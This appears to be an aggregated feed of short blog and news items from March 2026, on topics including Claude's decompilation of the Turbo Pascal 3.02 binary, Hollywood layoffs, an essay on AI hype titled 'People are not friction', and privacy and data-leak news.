In Things That Turbo Pascal is Smaller Than James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.

This inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.

It did a great job, so I had it create this interactive artifact illustrating the result. Here's the sequence of prompts I used (in regular claude.ai chat, not Claude Code):

Read this https://prog21.dadgum.com/116.html

Now find a copy of that binary online

Explore this ( I attached the zip file)

Build an artifact - no react - that embeds the full turbo.com binary and displays it in a way that helps understand it - broke into labeled segments for different parts of the application, decompiled to visible source code (I guess assembly?) and with that assembly then reconstructed into readable code with extensive annotations

Update: Annoyingly the Claude share link doesn't show the actual code that Claude executed, but here's the zip file it gave me when I asked to download all of the intermediate files.

I ran Codex CLI with GPT-5.4 xhigh against that zip file to see if it would spot any obvious hallucinations, and it did not. This project is low-enough stakes that this gave me enough confidence to publish the result!

Tags: computer-history, tools, ai, generative-ai, llms, claude

A Discussion About the Unserious

A monologue on the political pathology of detached commentary — why the refusal to take sides in an asymmetric conflict is not objectivity but its abdication.

List Of Hollywood & Media Layoffs From Paramount To Warner Bros Discovery To CNN & More

Media layoffs across the entertainment industry are hitting hard after last year’s avalanche of job cuts. The unfortunate trend can still be felt following the Covid-19 pandemic, dual Hollywood strikes and — the latest event to hit Los Angeles hard: a series of wildfires that broke out in January 2025. As the entertainment industry still […]

WGA West Staff Union Calls Management Back To Bargaining Table As Writers’ First Week Of AMPTP Talks Ends: “Enough Is Enough”

Writers Guild of America West chief negotiator Ellen Stutzman was likely wrapping up her first week of talks with the major Hollywood studios Friday afternoon when the union’s staff called her back to their own bargaining table. The staff have now been on strike for more than a month, and they remain on the picket […]

Nielsen Punts Monthly ‘Gauge’ Report To April After Client Complaints About Updated Methodology

Nielsen is delaying its monthly Gauge report to April from its planned release next week after methodology changes raised objections from several of its clients. The report, along with the monthly Media Distributor Gauge Report, had been scheduled to come out Tuesday, already later than usual. Now, they will be released in April, the company […]

Starz Lays Off 7% Of Staff 10 Months After Separation From Lionsgate

EXCLUSIVE: In Starz‘s Q4 earnings report in February, the company called 2026 a “positive financial inflection point,” saying it would focus on profitability and generating positive free cash flow after its separation from Lionsgate. In addition to OTT subscriber growth and increasing content ownership, cost-reduction inevitably is part of the equation. That includes staff cuts. Starz underwent a round […]

Trump Reacts To Chuck Norris’ Death: “A Great Supporter”

Donald Trump has shared his reaction to Chuck Norris’ death at age 86. After the actor’s family announced today that he died Thursday following a hospitalization in Hawaii, Trump reacted to the news while leaving the White House. “I thought he was a great guy,” Trump told reporters. “He was a great guy. He was […]

Disney Mulls Next Steps As ‘The Bachelorette’ & ‘Mormon Wives’ Reality Drama Rumbles On

The future of two of the biggest unscripted shows on television hangs in the balance as the Taylor Frankie Paul contretemps continues. ABC on Thursday pulled Season 22 of The Bachelorette, days before its premiere, after a video emerged that showed Paul attacking her on-again, off-again partner Dakota Mortensen and injuring her child in the […]

Hollywood Remembers Chuck Norris: Tributes From Fellow Action Stars Arnold Schwarzengger, Jean-Claude Van Damme, Sylvester Stallone, Dolph Lundgren & More

UPDATED with more reactions: Arnold Schwarzenegger, Jean-Claude Van Damme, Sylvester Stallone, Dolph Lundgren and Stephen King are among those paying tribute to Chuck Norris, the veteran action film and Walker, Texas Ranger star, who died Thursday at age 86. “Chuck was an icon,” Schwarzenegger wrote on X today. “I am grateful that I was able […]

Judge Tosses Out Pete Hegseth’s Press Restrictions That Led To Exodus Of Journalists From Pentagon

The Pentagon’s new restrictions on press access violate the First and Fifth Amendments, a federal judge ruled Friday, delivering a victory to media outlets that left the complex after they refused to sign the policy. The decision is a major victory for the New York Times, which challenged the policy, but also media outlets whose […]

Ryan Gosling Teases “Discussions” With Marvel About ‘Ghost Rider’ Role: “Complicated Situation”

As he heads to a galaxy far, far away for his Star Wars franchise debut, Ryan Gosling has his sights set on the MCU next. The 3x Oscar nominee recently teased that he’s had “some discussions” with Marvel Studios about a potential onscreen turn as Ghost Rider, after first throwing his hat into the casting […]

Friday Squid Blogging: Jumbo Flying Squid in the South Pacific

The population needs better conservation.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Blog moderation policy.

Friday session

Friday session

Nexstar-Tegna Merger Cheered By Wall Street And Local TV Rivals: Are More Mega-Deals On The Way?

Wall Street is upbeat about the impact of Nexstar’s $6.2 billion acquisition of local TV rival Tegna, mainly because it could trigger another wave of consolidation. That’s also the prevailing view across the industry, even among Nexstar’s biggest rivals. Nexstar announced the closing of the transaction Thursday evening, soon after the FCC and the Department […]

Quoting Kimi.ai @Kimi_Moonshot

Congrats to the @cursor_ai team on the launch of Composer 2!

We are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining & high-compute RL training is the open model ecosystem we love to support.

Note: Cursor accesses Kimi-k2.5 via @FireworksAI_HQ hosted RL and inference platform as part of an authorized commercial partnership.

— Kimi.ai @Kimi_Moonshot, responding to reports that Composer 2 was built on top of Kimi K2.5

Tags: kimi, generative-ai, ai, cursor, llms, ai-in-china

A thing we should acknowledge about AI

Last week, I was doing regular maintenance tasks on my home file server, a Synology running its own Linux-style OS. I tend to put off updates for weeks because sometimes things break after upgrades and that means needing an extra couple of hours to clean things up. This time I

Notable links: March 20, 2026

Agentic engineering and burnout.

Dire Strait

How will the Iran war end? We have no idea — and neither does Trump.

Iran attacks Qatari gas facility. MAGA Senator's contentious confirmation hearing. Top Trump official resigns over Iran.

Iran attacks gas facility. Markwayne Mullin's contentious confirmation hearing. Top Trump official resigns over Iran.

Opus Dei Exposed? Journalist Meets Pope Leo in Rare Private Audience

Watch now | A recording from Dr. Steven Hassan's live video

@Dave Winer's linkblog

Welcome to Paris, the City That Said No to Cars.

Re: People Are Not Friction

Dave Rupert puts words to the feeling in the air: the unspoken promise of AI is that you can automate away all the tasks and people who stand in your way.

Sometimes I feel like there’s a palpable tension in the air as if we’re waiting to see whether AI will replace designers or engineers first. Designers empowered by AI might feel those pesky nay-saying, opinionated engineers aren’t needed anymore. Engineers empowered with AI might feel like AI creates designs that are good enough for most situations. Backend engineers feel like frontend engineering is a solved problem. Frontend engineers know scaffolding a CRUD app or an entire backend API is simple fodder for the agent. Meanwhile, management cackles in their leather chairs saying “Let them fight…”

It reminds me of something Paul Ford said:

The most brutal fact of life is that the discipline you love and care for is utterly irrelevant without the other disciplines that you tend to despise.

Ah yes, that age-old mindset where you believe your discipline is the only one that really matters.

Paradoxically, the promise of AI to every discipline is that it will help bypass the tedious-but-barely-necessary tasks (and people) of the other pesky disciplines.

AI whispers in our ears: “everyone else’s job is easy except yours”.

But people matter. They always have. Interacting with each other is the whole point!

I look forward to a future where, hopefully, decision makers realize: “Shit! The best products come from teams of people across various disciplines who know how to work with each other, instead of trying to obviate each other.”

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Bluesky

This week’s news in Venn diagrams.

Eid Mubarak! The spring weather is finally sticking around and starting to crack all our shells here in NYC, and it’s a tide lifting all boats. It’s the weather for catching up, and there’s nothing more perfect than walking a

Overcast Transcripts

Marco Arment (Mastodon): What’s in this beta: Transcripts of most podcasts (swipe on the episode art during playback, it’s a new page past the info screen) Live-scrolling of transcripts during playback Tap to seek on any line of text Music detection All of this should work even with dynamic ad insertion… and even with private/membership […]

Android Sideloading Waiting Period

Ryan Whitwam (Hacker News): With its new limits on sideloading, Android phones will only install apps that come from verified developers. To verify, devs releasing apps outside of Google Play will have to provide identification, upload a copy of their signing keys, and pay a $25 fee. It all seems rather onerous for people who […]

Updates to Vibe Coding Apps Rejected From the App Store

Hartley Charlton: Apple has quietly blocked AI “vibe coding” apps, such as Replit and Vibecode, from releasing App Store updates unless they make changes, The Information reports. […] Apple told The Information that certain vibe coding features breach long-standing App Store rules prohibiting apps from executing code that alters their own functionality or that of […]

Cambalache’s First Major Milestone!

After more than 5 years,  1780 commits and 20k lines of handcrafted, artisanal Python code I am very pleased to announce Cambalache 1.0 !!! Cambalache is a WYSIWYG (What You See Is What You Get) tool that allows you to create and edit user interfaces for Gtk 4 and 3 applications. Gtk provides all the … Continue reading "Cambalache’s First Major Milestone!"

Here’s what’s making us happy this week.

The world turns, the sun shines. Spring is coming. We at Lit Hub are taking stock this Friday. We’re celebrating old faves, from actors to garnishes. We’re reading and scheming with better weather in mind. James Folta’s rose of the

Single Sign-on, Privacy and US Big Tech

Introduction Google, Apple, Amazon, Facebook and Microsoft offer single sign-on solutions to simplify signing on to a variety of websites and other services. If you are already signed on to Gmail, you can go to a new website and opt to use this Gmail sign-on to use this website. This is quicker and easier than creating a […]

@Dave Winer's linkblog

WordPress.com now lets AI agents write and publish posts, and more.

@Dave Winer's linkblog

Bernie Sanders spoke to AI agent Claude.

How Black Studies departments are being dismantled at American colleges.

A new report in the Chronicle of Higher Education shows how Black Studies departments around the country have been kneecapped by a multi-pronged conservative strategy to halt the study of race at American schools. Those who have been paying attention to the

WSL graphics driver update brings better GPU support for Linux apps

Meanwhile, WINE and OpenGL tweaks speed Windows apps on 64-bit hosts

Whatever OS you run, you have a better chance to run non-native apps. Running Linux virtualized on Windows is set to speed up slightly, and so is running Windows apps on top of 64-bit Linux and macOS.

BIO: The Bao I/O Coprocessor

BIO is the I/O co-processor in the Baochip-1x, a mostly open source 22nm SoC I helped design. You can read more about the Baochip-1x’s background here, or pick up an evaluation board at Crowd Supply. In this post, I’ll talk about the origins of the BIO, starting by working through a detailed study of the […]

Friday Notes - Gas Prices Keep Rising, Trump Escalates, Rep. Smith A No On More War Funding

I'll be speaking at two events in the DC area in the next few weeks

@Pleiades STOA at hcommons.socal

Since Monday, the #PleiadesGazetteer editorial college has published 20 new and 89 updated place resources, reflecting the work of 13 people. The usual Monday blog post will summarize a full week's worth of such work, but meantime here's a #SneakPeek at one of them. Authored by Gabriel Mckee (@SecretTerror), we now have a place resource for Ballicaoluk, a fortified site constructed on hill on the eastern slope of Nif Mountain in Turkey's İzmir province: https://pleiades.stoa.org/places/818747000

#ancientGeography #ancientHistory #archaeology #DH #gazetteers #HGIS

On the Morality of the Sober Observer

There is a peculiar pathology that has settled into certain corners of the right-libertarian and classically liberal commentariat, and I want to name it precisely, because imprecision here is its own form of capitulation.

Apple And Tinderbox

Writing of lasting value

¡La Novia!: identidades monstruosas en sociedades monstruosas

Dirección: Maggie Gyllenhaal. Guion: Maggie Gyllenhaal, basado en Frankenstein o el moderno Prometeo de Mary Shelley. Reparto: Jessie Buckley, Christian Bale, Annette Benning, Peter Sarsgaard, Penélope Cruz, Jake Gyllenhaal, John Magaro, Zlatko Buric. País: Estados Unidos. Más información de la película: https://www.imdb.com/title/tt30851137 Frankenstein de Mary Shelley, entre todas sus posibles lecturas, es una novela sobre […]

La entrada ¡La Novia!: identidades monstruosas en sociedades monstruosas se publicó primero en Palomita de maíz.

@Pleiades STOA at hcommons.socal

Export Updates 2026-03-20:

Pleiades gazetteer of ancient places

3 new and 15 updated places.

1. Downloads: https://pleiades.stoa.org/downloads

2. pleiades.datasets: https://github.com/isawnyu/pleiades.datasets:

"main" branch:

3ff971a5 - updated json

no change: rdf/ttl

122e685a - updated gis package

7de97ec8 - updated data quality

3ae390e0 - updated bibliography

434967e8 - updated indexes

9b46a171 - updated sidebar

3. pleiades-geojson: https://github.com/ryanfb/pleiades-geojson:

a0fd36b0 - updated geojson and names index

4. pleiades_wikidata: https://github.com/isawnyu/pleiades_wikidata/:

be73492d - updated pleiades wikidata

People are not friction

The Gell-Mann Amnesia Effect of AI is a pretty well documented phenomenon:

The Gell-Mann amnesia effect is a cognitive bias describing the tendency of individuals to critically assess media reports in a domain they are knowledgeable about, yet continue to trust reporting in other areas despite recognizing similar potential inaccuracies.

Summarizing, AI sounds like an incredible genius synthesizing the world’s knowledge right up until you ask it about the thing you know about, then it’s an idiot. Even knowing about this phenomenon and having experienced it countless times, LLMs have an intoxicating quality to them.

If there’s one thing LLMs do well, it’s delivering an enormous blast of dopamine if they do a good job on the first try. That “if” does a lot of heavy lifting, but when it happens you start to believe the idea that the multi-modal chat box could make you faster and infinitely capable. A hop and a skip and hundreds of dollars in tokens later, you made something that would take lifetimes of learning to create.

The marketing around Generative AI is that every person can be their own Designer, Developer, Researcher, Content Writer, Video Producer, and Podcast Editor. With the right skills.md files everything will fall into place. We will automate all automatable tasks. The experience will be “ frictionless”.

You’ll be able to automate away the jobs you don’t enjoy…

And the jobs you don’t know how to do…

And the people who do those jobs…

The people you don’t enjoy…

You won’t need to talk to or wait on anyone. You can automate away anything or anyone that stands in your way. You will reduce costs. You will be richer. It will be frictionless.

Sometimes I feel like there’s a palpable tension in the air as if we’re waiting to see whether AI will replace designers or engineers first. Designers empowered by AI might feel those pesky nay-saying, opinionated engineers aren’t needed anymore. Engineers empowered with AI might feel like AI creates designs that are good enough for most situations. Backend engineers feel like frontend engineering is a solved problem. Frontend engineers know scaffolding a CRUD app or an entire backend API is simple fodder for the agent. Meanwhile, management cackles in their leather chairs saying “Let them fight…”

I think it’s a dangerous place to be when we start to consider people as friction.

That’s because we know Gell-Mann is real. We know there’s an optimism bias the size of the sun blinding us to the actual quality of what the machine is producing. We need knowledgeable people to share what they know to improve the quality of our work, generated or otherwise. We even need ignorant people to make sure we can break ideas down into their simplest form that everyone, agents or human, understand. People can have bad attitudes, be shitty, and have wrong opinions… but people are not friction. An LLM may be able to autocorrect its way into a plausible human response, but it’s not people. It doesn’t care if it’s right or wrong. The money and hype surrounding it acts as a shield to its reputation. LLMs make up answers if it doesn’t have enough context and they fall over if it has too much context. It amplifies good patterns the same as bad patterns. And it glazes you with flattering language the entire time so that chart go up.

People, the context-bearers, have experience and capabilities that machines might never understand encoded in our muscles and memory. I’m on record saying I despise nuance – and I do– but it’s more important than ever to be able to connect to our fellow humans over this nuance so our world is not paved over by contextless opinions from ill-informed robots. Empower and believe people over machines.

Deep Fry Day

Misappointment I hoped to get into the Pacific Missile Range Facility (PMRF) today here on Kauai, because (unlike the last time I was here), they now allow visitors to pay $25 admission after a background check (which I was willing to risk). Alas, the guy next to the guy with the AR-15 said they are […]

The HarperCollins Union has ratified a new contract, including the highest starting pay in publishing.

After months of bargaining and a long strike in 2022-2023, the HarperCollins Union’s membership voted “overwhelmingly” to ratify a new contract. New pay increases will bring the “lowest annual compensation” for junior employees up to $57,000 for a 38-hour week,

@IIIF Mastodon feed

🗞️ ICYMI: the March #IIIF Newsletter is out, including:

📜 The preliminary program for the 2026 Annual Conference

🕯️ A viewer for cozy reading

🇫🇮 IIIF in Finland

Read the full issue: mailchi.mp/iiif/mar-26

404 Deno CEO not found

Opinions are mixed on this post. Sometimes I miss the mark with my blunt tone. In hindsight I can see why parts come across as mean-spirited. I’ve chosen my words poorly. Feedback noted, I will strive to be more positive. The Nero reference was for the sake of a dumb pun and a slight on AI imagery, […]

@Dave Winer's Scripting News

Knight Foundation: "How did a private foundation with roots in local journalism and civic life find itself on a cap table with venture capital firms like Bain Capital Crypto and Bloomberg Beta to invest in a tech startup?" Imho because they misled you.

@Dave Winer's Scripting News

Quick note on Bluesky's disclosures. Yesterday they disclosed $100 million investment in April last year. It's good that they cleared it up, but bad that they were hiding it for so long. Everything about what they do is based on trust. New management probably is the reason this happened now. They should also clean up the promises they've made about Bluesky as a platform. I've done the homework, having developed a few apps using their API, some are still running. If I were their new CEO, I would announce that in addition to supporting AT Proto, they will also hook up Bluesky to the web. The web is already decentralized. Lots of developers know how to build web stuff. We can all breathe the same air.

The best laptop Apple ever made

Today I posted a video titled The best laptop Apple ever made, and tl;dw 1 it's the 11" MacBook Air.

I acknowledge in the video my pick is slightly subjective, and I also asked a number of other YouTubers which Mac laptop they consider the best (or at least most influential). If you don't want to watch the video, I'll summarize their choices here:

Staph Retreat

A strange brew that's hard to resist, even for a modern day microbe.

In the war on devilish microbes, our weapons are starting to fail us. The antibiotics we once wielded like miraculous flaming swords seem more like lukewarm butter knives. But in this episode, originally released in 2015, we follow an odd couple, of a sort, to a storied land of elves and dragons. There, they uncover a 1,000-year-old secret that makes us reconsider our most basic assumptions about human progress and wonder: what if the only way forward is backward?

Special thanks to Steve Diggle, Professor Roberta Frank, Alexandra Reider and Justin Park (our Old English readers), Gene Murrow from Gotham Early Music Scene, Marcia Young for her performance on the medieval harp and Collin Monro of Tadcaster and the rest of the Barony of Iron Bog.

Can’t get enough of that sweet, sweet antibiotic resistance content? Then you’ll be over the moon about next week’s release. It’s the podcast cut of our most recent installment of our live show series called Viscera. This one features executive editor Soren Wheeler and Avir Mitra, and it’s all about how our millenia's-long war against bacteria came to a tipping point in this modern age.

Subscribe or follow our show on your favorite streaming platform and you’ll be the first to know when it drops.

EPISODE CREDITS:

Reported by - Latif Nasser

Produced by - Matt Kielty and Soren Wheeler

EPISODE CITATIONS:

Articles -

Uncovering the multifaceted mechanism of action of a historical antimicrobial ( https://zpr.io/mucw6Td6LBxT) by Harrison, F et al, 2026 bioRxv (PREPRINT). In this article Freya and her team describe the mechanisms under which Bald’s Remedy actually works.

Signup for our newsletter!! It includes short essays, recommendations, and details about other ways to interact with the show. Sign up (https://radiolab.org/newsletter)!

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Follow our show on Instagram , Twitter and Facebook @radiolab, and share your thoughts with us by emailing radiolab@wnyc.org .

Leadership support for Radiolab’s science programming is provided by the Simons Foundation and the John Templeton Foundation. Foundational support for Radiolab was provided by the Alfred P. Sloan Foundation.

Is it Time to Drive 55 Again?

There's a good case for conservation. Also, not a chance.

New: Remote updates on Raspberry Pi Connect

Update your Raspberry Pi devices from anywhere using our new remote update feature, available now in Raspberry Pi Connect.

The post New: Remote updates on Raspberry Pi Connect appeared first on Raspberry Pi.

@Dave Winer's linkblog

White House releases AI policy blueprint for Congress.

Jamie Blanks Dies: Australian Director Of Studio Movies ‘Urban Legend’ & ‘Valentine’ Was 54

Jamie Blanks, the Australian filmmaker and composer, died unexpectedly Monday, according to his family. He was 54. Blanks’ family confirmed on X that the filmmaker “passed away suddenly at his home in Melbourne, Australia, on Monday 16 March,” describing his passing as “unexpected, despite some ill health in recent years.” Blanks was best known for […]

CBS News Starts Another Round Of Layoffs; Job Cuts To Impact About 6% Of Workforce

CBS News announced a new round of layoffs on Friday, the latest for the news division under the network’s new parent Paramount Skydance. In a memo to employees, CBS News editor in chief Bari Weiss and CBS News president Tom Cibrowski said in a statement, “It’s no secret that the news business is changing radically, […]

“Live From London, It’s Saturday Night”: How The ‘SNL UK’ Creative Team Has Been Gearing Up For Eight Weeks Of Trying To Win Over A Skeptical Nation

Tomorrow, live from London, it will be Saturday night. The UK version of the NBC format that has come to define late night television across five decades is about to launch. Saturday Night Live UK has been nearly five years in the making (we first broke the news at Christmas 2021) and its inception can […]

Steve McQueen To Publish ‘Bounty’ Photography Series In New Book Collection

Photographs captured by Steve McQueen as part of his popular ‘Bounty’ exhibition series have been collated and adapted into a new book collection to be published this month by MACK.  Also titled ‘Bounty’, the book will feature all 47 images from the exhibition, which was based around meditative photos McQueen took of the beautiful flora […]

The Exception Is the Rule and the World is Aflame

A crisis dispatch

Armenia Politics Doc ‘The Winning Generation’ Aims To Connect With Diaspora Via Simultaneous Fest & Streaming Launch Ahead Of Elections

EXCLUSIVE: Armenia politics documentary The Winning Generation will simultaneously world premiere at the Netherlands’ Movies that Matter Film Festival and launch on the White Rabbit streaming platform this weekend. The work follows the trajectory of rising Armenian politician Shahen Harutyunyan from 14-year-old activist to emerging political leader, as he follows in the footsteps of his […]

@Dave Winer's linkblog

Why Knight Foundation Invested in Bluesky. This was a mistake, they bought the hype from the company, it is not a friend to the web, to the extent that it works, it undermines the web. I like Bluesky as a product, but I liked Twitter too, even though they hurt the web.

Hold on to Your Hardware: BadRAM

In this follow up post on the original [_Hold on to Your Hardware_](/hold-on-to-your-hardware/) write-up we're going to have a look at how to deal with faulty RAM on Linux, which is one of the major causes for system instability, crashes and data corruption on consumer hardware.

‘Assassin’s Creed’: Setting & Time Period Confirmed As Netflix Series Starts Production & Four Join Cast

After months of speculation, Netflix has confirmed that its Assassin’s Creed series is set in Ancient Rome. The location became clear months ago when it was revealed that the adaptation of the video game will film in Rome, Italy. The time period was not that obvious since the games span events from ancient history to […]

BIG NEWS: Germany has just made the standard Open Document Format (ODF) mandatory

The German federal government has quietly taken an extremely significant step: hidden amongst the technical specifications of the Deutschland-Stack – the rules that will govern the sovereign digital infrastructure supporting public administration at all levels of government, from federal ministries to local council offices – there is a short but

New poll: 58% of voters say the war in Iran is a bad use of taxpayer dollars

61% of Americans, including 1 out of 3 Republicans, say they would oppose the war if it raises gas prices (it has)

Proton Mail Shared User Information with the Police

404 Media has a story about Proton Mail giving subscriber data to the Swiss government, who passed the information to the FBI.

It’s metadata—payment information related to a particular account—but still important knowledge. This sort of thing happens, even to privacy-centric companies like Proton Mail.

Weekly Roundup: March 20

Beau Baumann on the lost art of constitutional politics, Hal Singer on the market definition trap, and Ben Gerstein on the political economy of settler retrenchment. Plus, Alexander Hertel-Fernandez and Paul Sonn explain how cities and states can help boost funding for labor organizations, Samuel Bagg and Shai Agmon discuss the critical role of friction in market competition, Adelle Waldman and Matt Bruenig propose a right to full-time scheduling, Daniel Steinmetz-Jenkins interviews Sophia Rosenfeld about the rise of personal choice in the modern world, and Diana Reddy flips the script on a transaction cost-centric analysis of employment.

How A French Documentary Company “Invented Its Own Rules” To Break Into The World Of British TV Drama

EXCLUSIVE: Samuel Kissous’ journey from French documentaries to British TV thrillers starring David Suchet and Joanna Scanlan isn’t a traditional one, but he insists his work has always had a throughline. Kissous’ production outfit Pernel Media is a rare breed in having its HQ outside of Britain but now being one of the trusted drama […]

Scenes from the Death of the Pax Americana

I’m feeling almost speechless right now

Lit Hub Daily: March 20, 2026

How Karen Powell’s Fifteen Wild Decembers contextualizes the enduring appeal of Wuthering Heights. | Lit Hub Criticism “Once you have something to get you going, the rest sometimes follows.” When a scientist tackles writer’s block. | Lit Hub Craft Clara

House Republicans are heading for the exits

The writing is on the wall ahead of the midterms.

Having fun with https://pixelframe.design/dune-font-logo-generator/

Having fun with https://pixelframe.design/dune-font-logo-generator/

The Tax Trap Democrats Built for Themselves

Democrats are trapped in a tax architecture George W. Bush built in 2001. Now we're at war with Iran, a country he named to the Axis of Evil in 2002. He won.

Sands Film Festival Returns For Fifth Edition, Headline Speakers Include Charlie Kaufman, Laura Mulvey, Joe Russo & Composer Craig Armstrong

Scotland’s Sands film festival has set the lineup for its fifth edition, which will run from April 17 – 19.  Led by Festival Director Ania Trzebiatowska and produced by the Byre Theatre at the University of St Andrews, Sands runs across three days in St Andrews, Scotland. The event was founded by the Russo Brothers’ […]

If You Want to Understand the Enduring Appeal of Wuthering Heights, Read This Book

There is a meme circling online asking whether you’re an Emily Brontë or a Charlotte Brontë person. Every thirteen-year-old girl must decide, according to the post, with the implication that the way you answer that question at thirteen will determine

Datenleck im CampusNet

Adressdaten von 1,1 Millionen Studierenden waren aufgrund einer Sicherheitslücke im Hochschulinformationssystem "CampusNet" zugänglich. Betroffen waren insgesamt 22 Universitäten und Hochschulen. Der CCC hat die Sicherheitslücke gemeldet.

Why the Poet Ed Sanders Matters More Than Ever

It might as well be 1983 given how vividly I can hear Ed Sanders singing about the “O” Boat at SUNY Buffalo during his (Charles) Olson Memorial Lecture. Sanders playing his tie or that long electronic instrument I have forgotten

Paperback vs. Hardcover: Which is Better For Readers (and For Writers)?

If you conducted a survey, I am fairly certain you’d find that the majority of readers prefer paperbacks to hardcover books. I have no stats to back this up, but I know what I’ve heard anecdotally for years. Paperbacks are

For Women’s History Month, A Reproductive Rights Reading List

Women’s History Month lands this year smack in the middle of the biggest antifeminist backlash since Norman Mailer insulted Germaine Greer on the stage at Town Hall in 1971. The literary grandfather of the “manosphere,” Mailer bellowed the ideas finding

What Should You Read Next? Here Are the Best Reviewed Books of the Week

Hannah Lillith Assadi’s Paradiso 17, Tara Menon’s Under Water, and Ian Baruma’s Stay Alive: Berlin, 1939-1945 all feature among the best reviewed books of the week. Brought to you by Book Marks, Lit Hub’s home for book reviews. * Fiction 1.

Marlene Zuk on Tackling Writer’s Block (as a Scientist)

This first appeared in Lit Hub’s Craft of Writing newsletter—sign up here. In 1954, Florence Moog, a biology professor at Washington University in St. Louis, published a paper in the prestigious journal Science titled “Can Scientists Write for the General Public?” She

‘Saturday Night Live UK’ Extended To Eight Episodes On Sky

Saturday Night Live UK is being extended to eight episodes. Originally planned for six live episodes on Sky in the UK, the decision has now been made to supersize with another two 75-minute shows. The first ep debuts tomorrow night (March 21) at 10pm UK local time, with anticipation building ahead of launch. Tina Fey […]

In the Fields of Fatherless Children

The bus ride home was hot and smelled of sweat and stale cigarettes. June had been to the lavatory twice, each time navigating the aisle on the verge of vomiting, hoping that she actually would so she might feel better.

The REAL Reason Trump is Trapped in Iran

And why American consumers are up Shit's Creek

Hegseth Bans Microphones at Pentagon After Press Briefings Make Him Sound Like Idiot

“I’ve been watching so-called news coverage of me and every word out of my mouth sounds stupider than the last,” he said. “I blame microphones.”

@Tomosino's Mastodon feed

One of my current happy things in life is lying in bed half awake in the morning listening to my wife grind coffee beans while my son is having breakfast. He'll be coming into the bedroom in a few minutes to say goodbye before he heads out to school and she will sit down with her avocado toast with everything bagel seasoning. It's all background sounds to me. A happy family routine of sounds.

@Tomosino's Mastodon feed

@Cat https://nchrs.xyz/ocular.html

Once again i see a thing and think of you

March 19, 2026

After yesterday’s revelation that the Department of Justice (DOJ) is blocking the release of a memo related to a Drug Enforcement Agency investigation into sex trafficker Jeffrey Epstein and 14 co-conspirators, Attorney General Pam Bondi added more evidence to the idea that the DOJ is engaged in covering up the relationship between members of the Trump administration, including President Donald J.

‘The Pitt’s John Wells Breaks Down Decision To Tackle ICE In Season 2: “We’re Trying To Talk About Things That Need To Be Talked About”

SPOILER ALERT: The below contains major spoilers about tonight’s episode of HBO Max’s The Pitt titled “5:00 p.m.” Tonight’s episode of HBO Max’s The Pitt deals with the issues and realities hospitals and medical staff are facing when ICE, the U.S. Immigration and Customs Enforcement, embed themselves into emergency rooms all over the country. Producer […]

SQLite Tags Benchmark: Comparing 5 Tagging Strategies

Research: SQLite Tags Benchmark: Comparing 5 Tagging Strategies

I had Claude Code run a micro-benchmark comparing different approaches to implementing tagging in SQLite. Traditional many-to-many tables won, but FTS5 came a close second. Full table scans with LIKE queries performed better than I expected, but full table scans with JSON arrays and json_each() were much slower.

Tags: json, sqlite

Quiver Acquires US & UK Rights For ‘A Love Like This’ Starring Emmanuelle Chriqui, Hayes MacArthur

EXCLUSIVE: Quiver Distribution has acquired North American and U.K. rights for A Love Like This, a romantic drama starring Emmanuelle Chriqui and Hayes MacArthur. The John Asher-helmed film, which was written by Jeffrey Ruggles, will premiere April 3 in theaters after production took place in Malibu back in 2023 with a SAG-AFTRA interim agreement amid […]

Friday 20 March, 2026

O Magnolia! This tree takes me by surprise every spring. I went searching to see who else has felt ambushed by it. Claude came up with Robert Lowell, who wrote of “blossoms on our magnolia that ignite the morning with … Continue reading →

Members Only: How do we define our own flourishing?

Nikolai Kardashev believed we could classify civilisations by the eneregy they harness. The Soviet Astrophysicist proposed three “Types” of civilisation - Type I controls the energy budget of its homeward, Type II controls a star, and Type III controls a Galaxy. By Kardashev’s measure, the human

Email was into agents before they were cool

It turns out you’ve been using agents since way before the AI variety started deleting everything in their owners’ inboxes.

@Miguel de Icaza Mastondon feed

Follow up, the drunken and alleged sex assaulter says Europe is not grateful enough.

Kay Kay, Marky Mark and Urusula, you got to lick the boot a little harder.

Pete boy here demands more commitment. He wants you to send Europeans to die for our real estate investment moguls.

@Miguel de Icaza Mastondon feed

Europe is as occupied as the USA is.

Sad, but true.

NetNewsWire 7.0.2: The Return of the Error Log

NetNewsWire of Yore had an Error Log window (on Mac) which could help you figure out what’s going on when a feed or account is acting weird — when it’s stopped updating, for instance.

NetNewsWire 7.0.2 brings that feature back, and we’ve already used it to help fix a syncing authentication bug (bug fix will be in 7.0.3).

Get your updates the usual way and enjoy the return of the Error Log!

For more details, plus screenshots, see How to Use the Error Log.

Thursday session

Thursday session

Only One Man to Blame

Trump seems dumbfounded by all the things going badly in Iran

How Not to Interview (Interesting People)

As a photographer who is primarily a writer, I like reading about photography so I can learn from those who create. I do that by reading photo magazines and listening to podcasts. One such magazine is Aperture. They take me out of the noise and bring me right into the core of the work. Photographers …

American Conversations: Bob Crawford

A newsletter about the history behind today's politics.

The Trap Always Closes

Donald Trump, Lyndon Johnson, and wars we can’t win

Pico Names

One of the things I love doing is naming things. Whether it’s for products, or things that I encounter daily, it’s a habit. Fifteen years ago, I started a list for our new dog, Pico. My wife and other family members joined in on the fun. Last December, we updated the note for the last […]

@Dave Winer's Scripting News

Bluesky raised $100 million last April, just announcing it now. No doubt part of Toni Schneider's cleanup, new CEO, need to get this out in public now. It was a mistake to keep it hidden.

Trump is in trouble with his base

And Elliott and David discuss bad pundit hot takes about a primary election in Illinois

Seeking God in Science part 4: Chairness

I concluded the last installment in this series with a deceptively simple claim: Things exist.  This two-word quip is a scientific hypothesis, an explanation for some of my subjective experiences, specifically, my ability to see and touch and hear and small and taste, well, things.  The explanation is that these things that I perceive really do exist in point of actual physical (

MarsEdit 5.4.1

Daniel Jalkut: This update adds support for macOS’s standard “Versions” document history, improves the Share Extension to support sending text to MarsEdit, and includes a number of bug fixes across the rich text and plain text editors. I’m holding off on this update for the moment because I’m seeing a regression viewing and sorting by […]

Catalyst in Tahoe

fahad-sh: I’m exploring macOS development, comparing Mac Catalyst apps vs native AppKit/SwiftUI apps. What are the main limitations of Catalyst today?In what scenarios is a native AppKit or SwiftUI app unavoidable? Any insights are much appreciated — I’m trying to understand when Catalyst is sufficient and when going native is worth the extra effort. Ryan […]

Apple Wins Musi App Store Removal Lawsuit

